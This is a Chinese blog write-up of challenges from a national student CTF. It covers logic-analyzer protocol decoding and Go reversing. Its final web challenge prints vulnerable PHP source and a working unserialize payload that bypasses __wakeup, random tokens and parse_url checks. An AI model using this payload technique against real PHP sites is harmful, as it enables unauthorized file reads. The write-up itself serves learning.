ch3cke的小站

长夜将至,我从今日起开始守望

0%

第十二届全国大学生信息安全竞赛--Writeup

Author: ch3cke

0x00 签到题

签到

文件连接:点击下载

直接在本地运行,会调用摄像头识别人脸,如果有三个人出现就会在运行终端出现flag;(不过识别不是那么精确,感有时候一个人也可以)

签到flag

1
flag{87e37d95-6a48-4463-aff8-b0dbd27d3b7d}

0x01 saleae

saleae

文件地址:点击下载

打开压缩包,发现是一个saleae.logicdata这样的文件,没见过,google一下,找到一点资料,下载软件,打开分析。

信道一:时钟信号

信道三:数据信号

设置一下,然后直接分析得到答案。(ps:也可以把数据信号的数据导出成二进制,然后转成字符。)

seleae——flag

1
flag{12071397-19d1-48e6-be8c-784b89a95e07}

0x03 24c

24c

文件地址:点击下载

这题和上题的的数据差不多,不过所用的协议有点不同,采用的是i2c,这是详细介绍,一样也是用Saleae Logic打开文件,分析采用i2c协议,可以看到有数据读写的过程。

24c-a

但是存在一个坑点就是,这个东西需要你稍微看懂一点这个语法的意思,例如 Setup Write to ['160'] + ACK 意思是写入数据,ACK表述信号收到(可能不是那么标准),’ ’+ACK表示写入的地址,后面的是写入的数据,翻译:向设备的0x20(’ '的ascill为0x20)处写入数据

然后,在信号结束的地方,有一个 Setup Write to ['160'] +ACK \n \t+ACK ,表明是把0x09、0x10位置的数据修改为ac,数据下标是从0开始的,一开始不小心疏忽了,一直错误。

至于我是怎么理解的,请看这个连接

1
flag{c46dac10-e9b5-4d90-a883-41cf163bdf4e}

0x03 * usbasp

又是这个题目,还是这个软件,一样的打开方式,分析数据,发现采用的又变回SPI协议了,这个题目说起来。。。。很简单的,但是没有想到点上。这个信号不同的就是他的数据输入有点特别,所以我们在分析的时候需要做一点小小的设置。

usbasp-a

usbasp-c

1
flag{85b084c6-42e6-495c-87b4-46dfb1df58a0}

0x04 easyGo

文件地址:点击下载

首先用IDA查看文件内容,发现是go语言编写的,ida无法识别函数名,有点难受。去找找ida逆向语言的插件–IDAGolangHelper。加载后,可以识别大部分函数名字。

easyGO

easyGo-b

找到主函数:mian_main,f5一下。可以看到程序逻辑:

easyGo-c

注意到有个比较,以前学过go语言,在这个题目里,"_"可以识别成“.” ,大部分都是包的调用,很好理解 。发现比较的两个值都在栈里,所以简单了,只要用pwndbg调试,在比较前下个断点,在栈面可以找到flag。

easyGO-d

1
flag{92094daf-33c9-431e-a85a-8bfbd5df98ad}

0x05 JustSoso

Justsoso

考察知识点:php伪协议反序列化

jsut

打开题目可以看到有一个file参数,可以查看源码发现还有一个hint.php文件。先尝试用伪协议读取源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php  
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

看到unserialize和魔术方法就会想要利用反序列化漏洞

想到利用反序列化的漏洞,绕过__wakeup函数

由于handle是私有变量,因此payload应该是

1
2
///
index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

利用php中的"&",,绕过随机数

利用"///",绕过parse_url

1
flag{38b3ff3b-3ac0-4a8e-a344-b75b0f23bb68}